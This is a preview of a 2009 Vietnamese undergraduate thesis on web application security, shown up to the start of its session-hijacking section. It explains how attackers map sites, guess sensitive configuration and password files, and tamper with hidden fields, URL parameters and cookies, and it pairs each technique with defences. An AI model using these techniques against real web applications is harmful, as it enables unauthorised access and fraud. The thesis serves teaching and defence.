Tải bản đầy đủ (.pdf) (45 trang)

Luận văn tốt nghiệp:Một số vấn đề bảo mật ứng dụng web pot

Bạn đang xem bản rút gọn của tài liệu. Xem và tải ngay bản đầy đủ của tài liệu tại đây (1.91 MB, 45 trang )

Luận văn tốt nghiệp Một số vấn đề bảo mật ứng dụng web

Dương Thị Thu Hương – K50CHTTT - Trang 1 - Đại học Công Nghệ - ĐHQGHN

TRƯỜNG……………………
KHOA……………………………….









LUẬN VĂN TỐT NGHIỆP

Đề tài:

MỘT SỐ VẤN ĐỀ BẢO MẬT WEB
Luận văn tốt nghiệp Một số vấn đề bảo mật ứng dụng web

Dương Thị Thu Hương – K50CHTTT - Trang 2 - Đại học Công Nghệ - ĐHQGHN















LỜI CẢM ƠN

Sau gần 4 tháng nỗ lực thực hiện, luận văn nghiên cứu “Các kĩ thuật tấn công và
bảo mật ứng dụng Web trên Internet” đã hoàn thành. Ngoài sự cố gắng hết mình của
bản thân, em đã nhận được sự khích lệ rất nhiều từ phía nhà trường, thầy cô, gia đình
và bạn bè.
Em xin gửi lời cảm ơn tới các thầy cô trong khoa Công nghệ Thông tin trường
Đại học Công Nghệ, Đại học Quố
c Gia Hà Nội, đặc biệt là các thầy cô ở Bộ môn Các
Hệ Thống Thông Tin đã giúp đỡ em trưởng thành trong những năm học tập và rèn
luyện ở môi trường đại học.
Em xin chân thành cảm ơn thầy Lê Hồng Hải đã tạo điều kiện cho em tìm hiểu,
nghiên cứu và học hỏi những kinh nghiệm trong quá trình làm khoá luận.

Xin cám ơn tất cả bạn bè đã và đang động viên, giúp đỡ tôi trong quá trình học
tập và hoàn thành tốt khóa luận tốt nghiệp này.



Hà Nội, tháng 5 năm 2009
Luận văn tốt nghiệp Một số vấn đề bảo mật ứng dụng web

Dương Thị Thu Hương – K50CHTTT - Trang 3 - Đại học Công Nghệ - ĐHQGHN


TÓM TẮT NỘI DUNG

Trong khóa luận này, tác giả sẽ trình bày về ứng dụng web, các vấn đề về bảo
mật trong ứng dụng web, khóa luận tập trung vào một số kỹ thuật tấn công vào ứng
dụng web, tác hại và cách phòng chống.
Phần mở đầu của khoá luận là tổng quan ứng dụng web, cách hoạt động của ứng
dụng web và giới thiệu về bảo mật ứng dụng web. Đây là cơ sở để
tìm hiểu các vấn đề
bảo mật trên ứng dụng web.
Phần thứ hai của khoá luận dành để trình bày các dạng lỗ hổng của ứng dụng
web và các kỹ thuật tấn công dựa trên những lỗ hổng đó.
Phần thứ ba của khoá luận dành để trình bày về vài tấn công ứng dụng web dựa
trên lý thuyết đã trình bày ở các phần trước.
Phần thứ tư có nhiệm vụ trình bầy các k
ết quả đạt được của luận văn, những hạn
chế và phát triển trong tương lai.

Luận văn tốt nghiệp Một số vấn đề bảo mật ứng dụng web

Dương Thị Thu Hương – K50CHTTT - Trang 4 - Đại học Công Nghệ - ĐHQGHN

MỤC LỤC
LỜI CẢM ƠN 1
TÓM TẮT NỘI DUNG 3
BẢNG CÁC THUẬT NGỮ VIẾT TẮT 5
BẢNG CÁC THUẬT NGỮ 6
DANH MỤC CÁC HÌNH VẼ BẢNG BIỂU 7
MỞ ĐẦU 8
CHƯƠNG 1. GIỚI THIỆU VỀ BẢO MẬT ỨNG DỤNG WEB 10
1.1. Giới thiệu về ứng dụng web 10

1.1.1. Khái niệm ứng dụng web 10
1.1.2. Mô tả hoạt động của một ứng dụng web 10
1.2. Bảo mật ứng dụng web 12
1.2.1. Giới thiệu về bảo mật ứng dụng web 12
1.2.2. Các vấn đề chính của bảo mật ứng dụng web 13
CHƯƠNG 2. MỘT SỐ TẤN CÔNG ỨNG DỤNG WEB VÀ CÁCH PHÒNG
CHỐNG 14
2.1. Các kỹ thuật tấn công cơ bản 14
2.1.1. Lập bản đồ trang 14
2.1.2. Đoán tập tin và thư mục 15
2.1.3. Khai thác khi biết những luồng bảo mật 15
2.1.4. Vượt qua hạn chế trên các lựa chọn đầu vào 15
2.2. Tấn công dựa vào trạng thái trang 16
2.2.1. Giới thiệu 16
2.2.2. Tấn công vào trường ẩn 16
2.2.2.1. Kỹ thuật tấn công vào trường ẩn 16
2.2.2.2. Cách phòng chống 17
2.2.3. Tấn công dựa vào tham số CGI 17
2.2.3.1. Kỹ thuật tấn công vào tham số CGI 18
2.2.3.2. Cách phòng chống 18
2.2.4. Nhiêm độc cookie 18
2.2.4.1. Kỹ thuật tấn công nhiễm độc cookie 18
2.2.4.2. Cách phòng chống 19
2.2.5. Tấn công bằng nhảy URL 19
2.2.5.1. Kỹ thuật tấn công nhảy URL 19
2.2.5.2. Cách phòng chống 19
Luận văn tốt nghiệp Một số vấn đề bảo mật ứng dụng web

Dương Thị Thu Hương – K50CHTTT - Trang 5 - Đại học Công Nghệ - ĐHQGHN


2.2.6. Chiếm hữu phiên làm việc (Session hijacking) 19
2.2.6.1. Kỹ thuật tấn công chiếm hữu phiên làm việc 20
2.2.6.2. Các cách phòng chống tấn công chiếm hữu phiên làm việc 22
2.3. Tấn công chèn mã lệnh thực thi trên trình duyệt nạn nhân (cross-site scripting) – XSS 22
2.3.1. Giới thiệu về cross-site scripting 22
2.3.2. Kỹ thuật tấn công XSS 23
2.3.3. Mã kịch bản tấn công XSS 24
2.3.3.1. Ăn cắp mã phiên làm việc của người dùng để thực hiện chiếm hữu phiên làm việc, 24
ví dụ mã sau: 24
2.3.3.2. Tạo thủ thuật để khiến người dùng làm việc không biết đến 24
2.3.3.3. Các cách chèn mã có thể 24
2.3.4. Các cách phòng chống 26
2.3.5. Một số trang vẫn còn lỗ hổng của Việt Nam: 27
2.4. Tấn công bằng kỹ thuật chèn mã SQL (SQL Injection) 27
2.4.1. Giới thiệu về SQL Injection 27
2.4.2. Các dạng tấn công SQL Injection 29
2.4.2.1. Dạng tấn công vượt qua trang đăng nhập 29
2.4.2.2. Tấn công dựa vào câu lệnh SELECT 30
2.4.2.3. Tấn công dựa vào câu lệnh kết hợp UNION 30
2.4.2.4. Tấn công dựa vào câu lệnh INSERT 33
2.4.2.5. Tấn công dựa vào STORED PROCEDURE 33
2.4.3. Cách phòng chống 33
CHƯƠNG 3. TẤN CÔNG THỰC NGHIỆM 35
3.1. URL Jumping 35
3.2. Lỗi XSS 36
3.3. SQL Injection 37
3.3.1. Trang thứ nhất 37
3.3.2. Trang thứ hai 39
3.3.3. Trang thứ ba 40
CHƯƠNG 4. KẾT LUẬN 42

4.1. Kết quả đạt được 42
4.2. Định hướng phát triển 42
LỜI KẾT 43
TÀI LIỆU THAM KHẢO 44
Luận văn tốt nghiệp Một số vấn đề bảo mật ứng dụng web


Dương Thị Thu Hương – K50CHTTT - Trang 5 - Đại học Công Nghệ - ĐHQGHN



BẢNG CÁC THUẬT NGỮ VIẾT TẮT



HTML HyperText Markup Language−Ngôn ngữ đánh dấu siêu văn bản
HTTP HyperText Transfer Protocol−giao thức truyền siêu văn bản
URL Uniform Resource Locator−địa chỉ tham chiếu tài nguyên trên Internet
CGI Common Gateway Interface−Chuẩn kết nối ứng dụng và máy chủ Web
SSL Secure socket layer−Giao thức truyền thông tin an toàn qua mạng
XSS Cross-site scripting−Tấn công chèn mã thực thi lên trình duyệt nạn nhân
ID Identification−Định danh

Luận văn tốt nghiệp Một số vấn đề bảo mật ứng dụng web

Dương Thị Thu Hương – K50CHTTT - Trang 6 - Đại học Công Nghệ - ĐHQGHN

BẢNG CÁC THUẬT NGỮ



URL Jumping Kỹ thuật tấn công nhảy URL
SQL Injection Tấn công bằng chèn mã SQL
Server Máy chủ
Web application
sever
Máy chủ ứng dụng web
Database Server Máy chủ cơ sở dữ liệu
Popup Cửa sổ của trình duyệt web được mở ra ngoài, khác với cửa sổ
đang làm việc.
Session Phiên làm việc của client với server
Session ID Mã phiên làm việc của client và server
Attacker Kẻ tấn công ứng dụng web
Hacker Kẻ tấn công ứng dụng web
Cookie Dữ liệu lưu trạng thái trang web của người dùng
Admin Người quản trị của ứng dụng web
Username Tên đăng nhập ứng dụng web
Password Mật khẩu đăng nhập ứng dụng web
Client Trình khách trong ứng dụng khách−chủ
Firewall Tường lửa bảo vệ hệ thống mạng
Request Yêu cầu của client
Form Mẫu biểu trong HTML
File text Tệp văn bản
Session
hijacking
Tấn công chiếm hữu phiên làm việc
Session fixation Tấn công ấn định phiên làm việc
Luận văn tốt nghiệp Một số vấn đề bảo mật ứng dụng web

Dương Thị Thu Hương – K50CHTTT - Trang 7 - Đại học Công Nghệ - ĐHQGHN


DANH MỤC CÁC HÌNH VẼ BẢNG BIỂU
Hình 1-1 mô tả hoạt động của ứng dụng web
( 10
Hình 2-1 Sơ đồ trang của trang web qbssoftware
(xlink=4653) 14
Hình 2-2 Dạng cookie của Internet Explorer. 18
Hình 2-3 Thứ tự các trang trong ứng dụng thanh toán trực tuyến 19
Hình 2-4 SessionID được lưu trong tham số CGI 20
Hình 2-5 Ăn cắp SessionID bằng cách giám sát đường truyền (nguồn:
) 20
Hình 2-6 Tấn công ấn định phiên làm việc. 21
Hình 2-7 các bước tấn công ấn định phiên làm việc. 22
Hình 2-8 Hacker thực hiện một cuộc tấn công thành công vào ứng dụng web (nguồn:
28
Hình 3-1 trang đăng nhập của admin của trang
35
Hình 3-2 Trang quản lý của admin của trang
36
Hình 3-3 Chèn mã kịch bản vào trang web 36
Hình 3-4 Trang bị dính lỗi XSS. 37
Hình 3-5 trang đăng nhập của admin của trang
38
Hình 3-6 Hình ảnh sau khi đã đăng nhập
38
Hình 3-7 Trang đăng nhập của admin của trang
39
Hình 3-8 Hình ảnh sau khi đăng nhập của trang :
40
Hình 3-9 Trang đăng nhập của admin trang
41

Hình 3-10: Hình ảnh sau khi đăng nhập của trang
41

Luận văn tốt nghiệp Một số vấn đề bảo mật ứng dụng web

Dương Thị Thu Hương – K50CHTTT - Trang 8 - Đại học Công Nghệ - ĐHQGHN

MỞ ĐẦU
Ngày nay, Internet và các ứng dụng trên Internet được phát triển rộng rãi. Các cá
nhân, tổ chức, doanh nghiệp … đều có nhu cầu sử dụng Internet với mục đích riêng.
Các dịch vụ trực tuyến ngày càng được phát triển như mua hàng trực tuyến, giao dịch
ngân hàng trực tuyến, học trực tuyến…Theo đó các dịch vụ trực tuyến càng được phát
triển, mở rộng thì càng có nhiều lỗ hổng bảo mật và trở thành đối tượng bị t
ấn công
với các mục đích khác nhau.
Cùng với sự phát triển của Internet và các dịch vụ trên Internet, số lượng các vụ
tấn công trên Internet cũng tăng với tốc độ chóng mặt. Theo tập đoàn Symantec số
lượng các vụ tấn công bằng mã độc trên Internet năm 2003 là 18.827 vụ, năm 2004 là
69.107 vụ, năm 2007 là 624.267 vụ và đến năm 2008 là 1.656.227 vụ. Riêng trong
năm 2008 ghi nhận 5.147 chủng loại mã độc chuyên chiếm quyền kiểm soát máy chủ
mới xu
ất hiện. (Nguồn: />whitepaper_internet_security_threat_report_xiv_04-2009.en-us.pdf)
Không chỉ số lượng các cuộc tấn công tăng lên nhanh chóng mà các phương pháp
tấn công cũng ngày càng tinh vi và có tổ chức. Những cuộc tấn công thời kỳ đầu chủ
yếu là đoán tên người sử dụng/mật khẩu (Username/password) hoặc sử dụng một số
lỗi của các chương trình và hệ điều hành (security hole) làm vô hiệu hóa hệ thống bảo
vệ, tuy nhiên các cuộc tấn công gần đây còn bao gồm cả các thao tác như
giả mạo địa
chỉ IP, theo dõi thông tin truyền qua mạng, chiếm các phiên làm việc từ xa (telnet hoặc
rlogin), cài đặt trojan hay worm để chiếm quyền kiểm soát máy tính, ăn cắp, lợi dụng

các thông tin của người dùng về ngân hàng, giao dịch chứng khoán để ăn cắp tiền của
họ…Vì thế nhu cầu bảo vệ thông tin trên Internet là cần thiết nhằm bảo vệ dữ liệu, bảo
vệ thông tin người dùng và bảo vệ hệ thố
ng
Đã có những công cụ tự động tìm lỗ hổng để giúp đỡ những nhà phát triển ứng
dụng web. Tuy nhiên do nhiều nguyên nhân vẫn có những lỗ hổng tồn tại làm cơ sở để
tấn công, có thể là do các nhà phát triển ứng dụng không tuân thủ các yêu cầu về bảo
mật trong quá trình xây dựng ứng dụng, có thể do cuộc tấn công là hoàn toàn mới và
tinh vi đối với những nhà phát triển và nhà quản trị hệ thố
ng.
Luận văn tốt nghiệp Một số vấn đề bảo mật ứng dụng web

Dương Thị Thu Hương – K50CHTTT - Trang 9 - Đại học Công Nghệ - ĐHQGHN

Luận văn được thực hiện với mục đích tìm hiểu, phân tích các lỗ hổng bảo mật từ
đơn giản đến phức tạp trong các ứng dụng web và các phương án phòng chống các
cuộc tấn công.

Nội dung khóa luận sẽ bao gồm các phần sau (bốn chương):
• Chương 1: Tìm hiểu chung về ứng dụng web, khái niệm và hoạt động của
ứng dụng web trên Internet. Đồng thời cũng đề cập khái quát về bảo mật
ứng dụng web.
• Chương 2: Trình bầy về các kỹ thuật tấn công vào ứng dụng web và cách
phòng chống
o Các kỹ thuật tấn công cơ bản
o Các kỹ
thuật tấn công dựa vào trạng thái của trang web
o Kỹ thuật tấn công chèn mã lệnh thực thi trên trình duyệt nạn nhân
(XSS).
o Kỹ thuật tấn công chèn câu truy vấn SQL (SQL injection) và cách

phòng chống.
• Chương 3: Một vài ví dụ tấn công ứng dụng web bằng các kỹ thuật ở trình
bầy các chương trước.
• Chương 4: Trình bầy kết quả đạt được của luận văn và hướng phát triển
trong t
ương lai.
Luận văn tốt nghiệp Một số vấn đề bảo mật ứng dụng web

Dương Thị Thu Hương – K50CHTTT - Trang 10 - Đại học Công Nghệ - ĐHQGHN

Chương 1. GIỚI THIỆU VỀ BẢO MẬT ỨNG DỤNG
WEB
1.1. Giới thiệu về ứng dụng web
1.1.1. Khái niệm ứng dụng web
Ứng dụng web là một ứng dụng khách/chủ truy cập qua mạng Internet hay
intranet sử dụng giao thức HTTP/s để tương tác với người dùng hay hệ thống khác.
Trình khách dành cho người sử dụng là một phần mềm phổ biến và chung cho
các ứng dụng web chính là trình duyệt web như Internet Explorer, Nescape Navigator.
Ứng dụng web rất phổ biến bởi sự cập nhật và duy trì mà không cần phần mềm phân
phối, cài đặt tại hàng nghìn máy tính của ng
ười sử dụng. Các ứng dụng web phổ biến
hiện nay là: webmail, bán hàng trực tuyến, giao dich, đấu giá trực tuyến, wiki, diễn
đàn thảo luận và nhiều chức năng khác.
Trước đây ứng dụng web được xây dựng trên mô hình tập trung, một trình chủ
chạy trên một máy chủ và kết nối vào cơ sở dữ liệu ngay trên máy chủ. Hiện nay các
ứng dụng web được xây dựng theo mô hình phân tán, nhiều máy chủ đáp ứng yêu cầu
và kết nối tới nhiều nguồn cơ sở dữ liệu tại. Trình chủ được viết bằng các ngôn ngữ
như: PHP, ASP, ASP.NET, JSP…
1.1.2. Mô tả hoạt động của một ứng dụng web
Hoạt động của ứng dụng web được biểu diễn như hình sau:



Hình
1-1 mô tả hoạt động của ứng dụng web
( />)
Luận văn tốt nghiệp Một số vấn đề bảo mật ứng dụng web

Dương Thị Thu Hương – K50CHTTT - Trang 11 - Đại học Công Nghệ - ĐHQGHN


Một ứng dụng web bao gồm hai phía: Client và Server
• Phía Client: là trình duyệt web
• Phía Server: bao gồm hai lớp trong kiến trúc ứng dụng web, lớp logic (Web
Server, Web Application Server) và lớp dữ liệu (Database Server).
Bên cạnh đó tường lửa được sử dụng để chống lại sự truy cập trái phép, bảo vệ
các nguồn thông tin mội bộ cũng như hạn chế sự xâm nhập vào hệ thống của một số
thông tin khác không mong muốn.
Ch
ức năng chính của Firewall là:
• Cho phép hoặc cấm những dịch vụ truy xuất ra ngoài
• Cho phép hoặc cấm những dịch vụ từ bên ngoài truy nhập vào trong
• Kiểm soát địa chỉ truy nhập, cấm địa chỉ truy nhập.
Đầu tiên trình duyệt sẽ gửi một yêu cầu (request) đến Web Server thông qua các
lệnh cơ bản GET, POST… của giao thức HTTP/s, Web Server lúc này có thể cho thực
thi một chương trình được xây dựng từ nhiều ngôn ngữ nh
ư Perl, C/C++… hoặc Web
Server yêu cầu bộ diễn dịch thực thi các trang ASP, JSP… theo yêu cầu của trình
duyệt.
Tùy theo các tác vụ của chương trình được cài đặt mà nó xử lý, tính toán, kết nối
đến cơ sở dữ liệu, lưu các thông tin do trình duyệt gửi đến…và từ đó trả về cho trình

duyệt một luồng dữ liệu có định dạng theo giao thức HTTP, nó gồm 2 phần:
• Header mô tả các thông tin về gói dữ liệu và các thuộc tính, trạng thái trao
đổi
giữa trình duyệt và WebServer.
• Body là phần nội dung dữ liệu mà Server gửi về Client, nó có thể là một file
HTML, một hình ảnh, một đoạn phim hay một văn bản bất kì.
Theo mô hình ở hình 1−1, với firewall, luồng thông tin giữa trình duyệt và Web
Server là luồng thông tin hợp lệ. Vì thế, nếu hacker tìm thấy vài lỗ hổng trong ứng
dụng Web thì firewall không còn hữu dụng trong việc ngăn chặn hacker này. Do đó,
các kĩ thuật tấn công vào một h
ệ thống mạng ngày nay đang dần tập trung vào những
sơ suất (hay lỗ hổng) trong quá trình tạo ứng dụng của những nhà phát triển Web hơn
là tấn công trực tiếp vào hệ thống mạng, hệ điều hành. Tuy nhiên, hacker cũng có thể
lợi dụng các lỗ hổng Web để mở rộng sự tấn công của mình vào các hệ thống không
Luận văn tốt nghiệp Một số vấn đề bảo mật ứng dụng web

Dương Thị Thu Hương – K50CHTTT - Trang 12 - Đại học Công Nghệ - ĐHQGHN

liên quan khác.
1.2. Bảo mật ứng dụng web
1.2.1. Giới thiệu về bảo mật ứng dụng web
Bảo mật ứng dụng web cũng tương tự như bảo mật các ứng dụng chung khác.
Sự khác nhau lớn giữa ứng dụng client-server cũ và ứng dụng web
• Hệ thống client-server trước đây chỉ hoạt động trên mạng riêng, tin cậy.
• Ứng dụng web bây giờ được thiết kể để hoạt động trên Internet – một môi tr
ường
không tin cậy.
• Một vài đặc điểm khác khiến ứng dụng web trở nên đặc biệt:
o Nhiều tổ chức vẫn không thực hiện những dự án tạo ứng dụng web như các
dự án phát triển

o Máy chủ ứng dụng web chủ yếu chạy trên một mạng Lan mở rộng hay một
khu không có sự kiểm soát đằng sau tường lửa của tổ chứ
c làm cho chúng
trở thành mục tiêu quan trọng.
o Rất dễ dàng cho các attacker ẩn giữa khối lượng truy cập lớn được tạo ra bởi
trang web.
o Dự án ứng dụng web có vòng đời phát triển ngắn và luôn có lý do làm cho
chúng phát triển nhanh hơn.
o Tính chất không lưu trạng thái của HTTP có nghĩa là tình trạng phiên làm
việc của người dùng phải được giữ lại ở đâu đó, có thể nơi đó sẽ bị s
ự điều
khiển của kẻ tấn công.
o Thông tin truyền trên mạng Internet không được mã hóa.
Ứng dụng web là một trong các trường hợp của ứng dụng client-server trong đó vấn đề
bảo mật làm giảm sự cân bằng của những mục tiêu khác.
• Tính tin cậy của ứng dụng web đối lập với bảo mật vì rất khó để kiểm thử hoàn
toàn lỗi khi xử lý mã.
• Hiệu suất cũng đi ngược với mục đích bảo mật vì các phương pháp truyền thống
để tăng hiệu suất trong ứng dụng client-server (chủ yếu là đẩy các chức năng về
phía client) sẽ tạo ra những lỗ hổng mới.
• Tiện ích là đối lập với bảo mật vì càng cung cấp nhiều thông tin cho người dùng
cũng là cung cấp manh mối cho những kẻ tấn công về cách làm vi
ệc, quản lý truy
cập. Các yêu cầu về xác thực thường làm cho hệ thống kém tiện dụng hơn khi sử
dụng.
Luận văn tốt nghiệp Một số vấn đề bảo mật ứng dụng web

Dương Thị Thu Hương – K50CHTTT - Trang 13 - Đại học Công Nghệ - ĐHQGHN

• Khả năng kiểm thử cũng đối lập với bảo mật vì sử dụng các công cụ để kiểm thử

sẽ mở ra các cách truy cập vào hệ thống.
1.2.2. Các vấn đề chính của bảo mật ứng dụng web
Một ứng dụng web thông thường bao gồm một trình chủ, một trình khách, và một
mạng lưới.
• Đối với các trình khách, các vấn đề an ninh chính là:
o Đối phươ
ng có thể giả mạo với bất kỳ dữ liệu nào được lưu trữ trên trang
Web của client. Điều này có nghĩa là tất cả các dữ liệu đến từ client phải
được kiểm tra sự hợp lệ khi nó được nhận từ server.
o Mã nguồn của phía client phải được ẩn với đối phương vì bất kỳ cái gì
bắt nguồn từ client có thể bị đọc và giả mạ
o cùng với nó.
o Các thông báo lỗi ở phía server phải bị ẩn với đối phương vì nó có thể
được dùng để tìm hiểu về cấu trúc và cấu hình của máy chủ.
• Đối với mạng, các vấn đề chính là:
o Mọi dữ liệu đến server bằng HTTP đều có thể bị xem và bị giả mạo bởi
bên thứ ba.
o SSL cung cấp khả năng mật mã, nhưng điều này chỉ ng
ăn cản xem hoặc
giả mạo với dữ liệu giữa các nguồn gốc của nơi chuyển dữ liệu và máy
chủ. SSL không thể ngăn cản sự giả mạo khi dữ liệu tại nguồn gốc của
nó.
Trong chương này, tác giả đã trình bầy về ứng dụng web và khái quát về bảo mật
ứng dụng web. Trong chương tiếp theo, tác giả sẽ trình bầy một số kỹ
thuật tấn công
vào ứng dụng web và cách phòng chống.
Luận văn tốt nghiệp Một số vấn đề bảo mật ứng dụng web

Dương Thị Thu Hương – K50CHTTT - Trang 14 - Đại học Công Nghệ - ĐHQGHN


Chương 2. MỘT SỐ TẤN CÔNG ỨNG DỤNG WEB VÀ
CÁCH PHÒNG CHỐNG
2.1. Các kỹ thuật tấn công cơ bản
2.1.1. Lập bản đồ trang
Những kẻ tấn công có thể làm một số việc sau:
• Sử dụng một chương trình thu thập đi theo các liên kết trong ứng dụng và chỉ ra
luồng di chuyển theo các trang của ứng dụng và cơ chế xác thực.
• Đọc ghi chú trong các tài liệu gửi đến trình duyệt để có được sự gợi ý về logic
trong kinh doanh hay các thuật toán.
• Tìm tên người dùng, mật khẩu, và tên cơ sở dữ
liệu trong các các tài liệu gửi
cho khách hàng.
• Tìm các truy vấn SQL để có manh mối về cấu trúc cơ sở dữ liệu và cách truy
vấn được xây dựng từ dữ liệu động.
• Xác định vị trí trường ẩn trong form.
• Tìm ra giá trị của các tham số chuyển giữa các trang web.
• Tạo ra các trường hợp lỗi khác nhau để xem máy chủ trả lời. Một ví dụ là, nếu
kiểm tra máy chủ khác nhau đưa ra mộ
t thông báo lỗi cho một không đúng tên
người dùng so với sai mật khẩu.

Hình
2-1 Sơ đồ trang của trang web qbssoftware
(xlink=4653
)
Luận văn tốt nghiệp Một số vấn đề bảo mật ứng dụng web

Dương Thị Thu Hương – K50CHTTT - Trang 15 - Đại học Công Nghệ - ĐHQGHN

Một số đề phòng lập bản đồ trang

• Tránh đưa ra các thông tin về các truy vấn SQL.
• Không gắn kèm các ghi chú trong mã gửi đến khách hàng.
• Không đặt tên người dùng, mật khẩu, cơ sở dữ liệu vào chuỗi kết nối, trong mã
và thông báo lỗi.
2.1.2. Đoán tập tin và thư mục
Một kỹ thuật đơn giản khác là đoán tập tin và thư mục. Những kẻ tấn công sẽ
đoán những tệ
p và thư mục chứa thông tin quan trọng và cố gắng truy cập vào đó để
lấy thông tin.
• Tệp tin như config.inc, web.xml, và server.xml có thể chứa thông tin kết nối
cơ sở dữ liệu.
• Tập tin. Htpasswd có thể chứa thông tin tên người dùng và mật khẩu của họ.
• Thư mục như template/ có thể chứa các tệp tin với thông tin về các ứng dụng.
Các cách giảm thi
ểu:
• Sử dụng danh sách kiểm soát truy cập để chặn những nguời dùng truy cập vào
các thư mục và tệp hệ thống không được phép.
• Bảo vệ bất kỳ tệp tin không liên quan đến người dùng, bằng cách đặt chúng
trong thư mục bên ngoài hệ thống file hoặc trong những nơi được bảo vệ đặc
biệt như WEB-INF/.
2.1.3. Khai thác khi biết những luồng bảo mật
Cách khai thác

Tất cả các phần mềm bao gồm cả hệ điều hành, ứng dụng máy chủ, và các công
cụ hỗ trợ đều có lỗi.
• Khi lỗi đã được tìm thấy, cách bản sửa lỗi thường được cung cấp để sửa chữa
chúng.
• Thời gian mà các quản trị viên hệ thống áp dụng bản sửa lỗi bảo mật vào hệ
thống của mình thì những kẻ
tấn có thể khai thác những lỗ hổng đã được phát

hiện trong thời gian giữa bản lỗi và bản được sủa của người quản trị
Để giảm thiểu rủi ro, xác định các thành phần của bên thứ ba trong hệ thống của
bạn, kiểm tra nó và ưu tiên cho việc sửa lỗi bảo mật
2.1.4. Vượt qua hạn chế trên các lựa chọn đầu vào
Một lớp tấn công khác là vượt qua h
ạn chế trên lựa chọn đầu vào
Luận văn tốt nghiệp Một số vấn đề bảo mật ứng dụng web

Dương Thị Thu Hương – K50CHTTT - Trang 16 - Đại học Công Nghệ - ĐHQGHN

• Thông tin người dùng nhập vào thường bị hạn chế theo những phạm vi để dễ
kiểm soát.
• Để cải thiện kinh nghiệm người sử dụng, mã của phía client sẽ thực hiện việc
xác nhận dữ liệu của người dùng.
• Các ứng dụng được viết một cách đơn giản tin tưởng các giá trị được gửi lên sẽ
nằm trong phạm vi mong đợi.
• B
ởi vượt qua được giao diện người dùng, những kẻ tấn công có thể gán các giá
trị tùy ý cho biến đầu vào của người dùng.
Để giảm thiểu rủi ro, xác nhận tính hợp lệ tất cả các dữ liệu đến từ client.

2.2. Tấn công dựa vào trạng thái trang
2.2.1. Giới thiệu
Giao thức HTTP không lưu trạng thái của các trang web hay người dùng khi
tương tác với ứng dụng. Do yêu cầu của ứng dụng web như đăng nhập vào hệ thống để
sử dụng những tiện ích hay đơn giản chỉ là đánh dấu những nơi đã đi qua nên các ứng
dụng web sẽ lưu lại trạng thái các phiên làm việc bằng cách thiết lập giá trị nào đó
được lưu l
ại ở máy tính của người dùng hay trong mã gửi đến người dùng thông qua
trình duyệt.

Trạng thái của phiên làm việc sẽ được lưu theo ba cách sau:
• Trường ẩn trong form
• Tham số CGI (cả trong phương thức GET và POST)
• Cookies
2.2.2. Tấn công vào trường ẩn
2.2.2.1. Kỹ thuật tấn công vào trường ẩn
Ta có một form gồm cả trường ẩn như sau:

Nếu không có thay đổi gì sẽ gửi đến máy chủ nội dung là:
Luận văn tốt nghiệp Một số vấn đề bảo mật ứng dụng web

Dương Thị Thu Hương – K50CHTTT - Trang 17 - Đại học Công Nghệ - ĐHQGHN


Nếu hacker thay đổi giá trị của biến “giaca”

Thì yêu cầu sẽ thay đổi thành:

Và giá trị gửi lên server đã là giá trị bị thay đổi.
2.2.2.2. Cách phòng chống
• Đặt cho trường ẩn một cái tên khó hiểu.
• Sử dụng các giá trị được băm hay mã hóa.
• Nếu có thể thì không sử dụng trường ẩn.
• Kiểm tra giá trị của chúng khi đến server.
2.2.3. Tấn công dựa vào tham số CGI
Tham số CGI có thể nhìn thấy ở cuối của URL trong yêu cầu GET đằng sau dấu

?”, mỗi tham số là một cặp gồm tên-giá trị phân cách nhau bằng dấu “=”, các tham
số được phân cách nhau bởi dấu
“&”. Nếu trong phương thức POST, ta có thể tìm

thấy ở phần chính của yêu cầu.
Ví dụ:
/>%9Bi+Google&meta=&aq=f&oq=
Ở đây có các tham số
Tham số Giá trị
Hl vi
Q URL
btnG T%C3%ACm+v%E1%BB%9Bi+Google
meta
Aq f
Oq
Luận văn tốt nghiệp Một số vấn đề bảo mật ứng dụng web

Dương Thị Thu Hương – K50CHTTT - Trang 18 - Đại học Công Nghệ - ĐHQGHN

2.2.3.1. Kỹ thuật tấn công vào tham số CGI
Ta có thể tìm tham số bằng hiển thị mã hoặc nhìn trên URL
Chỉnh sửa URL một cách thủ công bằng cách thay đổi giá trị của tham số hoặc
thêm vào các tham số khác.
Ví dụ: nếu ứng dụng web cho phép người dùng thay đổi mật khẩu và trang thay
đổi có URL truyền đi như sau:

Trong URL trên có hai tham số :
Tham số user là tên tài khoản cần thay đổi mật khẩu, có giá trị mike
Tham số newpasswd là mật khẩu mới cho user có giá trị guessWho
Trong ví dụ này ta thay đổi tham số newpaswd có giá trị là guessWho thành
bigDummy.
2.2.3.2. Cách phòng chống
• Xử lý tham số như xử lý phần người dùng nhập vào.
• Kiểm tra giá trị của chúng khi gửi lên server.

2.2.4. Nhiêm độc cookie
Cookie là dữ liệu dùng chung của server và client, do server tạo ra và lưu ở máy
tính của client (có thể lâu dài hoặc không lâu dài).
Cookie được lưu ở dạng file text và chứa những thông tin về người dùng, phiên
làm việc hiện tại hay đã kết thúc…Cookie của mỗi ứng dụng web là khác nhau tùy vào
người thiết kế ứng dụng, khác nhau theo cả trình duyệt web của người dùng.
Cookie có thể được thay đổi dễ dàng trong file text.

Hình 2-2 Dạng cookie của Internet Explorer.
2.2.4.1. Kỹ thuật tấn công nhiễm độc cookie
Hacker sẽ thay đổi những giá trị các trường trong cookie như là:
• Thay đổi thời hạn của cookie
Luận văn tốt nghiệp Một số vấn đề bảo mật ứng dụng web

Dương Thị Thu Hương – K50CHTTT - Trang 19 - Đại học Công Nghệ - ĐHQGHN

• Thay đổi các dữ liệu xác thực
• Thay đổi thông tin giỏ hàng
2.2.4.2. Cách phòng chống
Ta sẽ dùng một số cách sau để chống lại tấn công nhiễm độc cookies
• Không sử dụng cookie để lưu những dữ liệu xác thực
• Mã hóa các dữ liệu quan trọng
• Xử lý cookie như một trường dữ liệu do người dùng nhập vào
• Mã hóa tất cả thông tin của cookie.
2.2.5. Tấn công bằ
ng nhảy URL
2.2.5.1. Kỹ thuật tấn công nhảy URL
Người dùng gõ vào một URL và nhảy tới trang đó, không tuân theo thứ tự các
trang thông thường của ứng dụng.
Ví dụ: Người dùng có thể truy cập mà không cần đăng nhập

Người dùng có thể mua hàng mà không cần trả tiền.

Hình
2-3 Thứ tự các trang trong ứng dụng thanh toán trực tuyến
2.2.5.2. Cách phòng chống
• Hạn chế truy cập vào tất cả các URL không dành cho người sử dụng như những
trang dành cho admin
• Khóa sự truy cập vào những nơi không phải là trang web
• Sử dụng thêm cookie, trường ẩn để chặn truy cập vào các trang không đúng
trình tự
2.2.6. Chiếm hữu phiên làm việc (Session hijacking)
Ứng dụng web lưu trạng thái mỗi phiên làm việc của người dùng bằ
ng mã phiên
